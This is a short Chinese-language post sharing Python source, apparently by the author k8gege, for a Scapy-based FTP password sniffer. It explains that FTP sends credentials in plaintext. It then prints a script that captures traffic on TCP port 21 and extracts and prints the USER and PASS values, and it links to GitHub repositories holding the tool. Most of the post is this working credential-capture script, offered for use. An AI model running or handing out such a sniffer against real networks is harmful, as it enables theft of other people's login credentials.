[源码]python Scapy Ftp密码嗅探

时间:2022-05-19 08:08:32

[源码]python Scapy Ftp密码嗅探

原理很简单,FTP密码明文传输的

截取tcp 21端口User和Pass数据即可

Scapy框架编译程序较大(一个空程序都25M),所以就不提供exe

 # -*- coding: UTF-8 -*-
#author: k8gege
import os
import queue
from scapy.all import *
def ftpsniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf('%Raw.load%')
user = re.findall('(?i)USER (.*)', raw)
pwd = re.findall('(?i)PASS (.*)', raw)
if user:
print '[*] FTP Login to ' + str(dest)
print '[+] Username: ' + str(user[0]).replace("\\r\\n'","");
elif pwd:
print '[+] Password: ' + str(pwd[0]).replace("\\r\\n'",""); print('FTP Sniffing...');
sniff(filter="tcp port 21", prn=ftpsniff)

https://github.com/k8gege/k8ftpsniffer

https://github.com/k8gege/K8tools/blob/master/k8ftpsniffer.py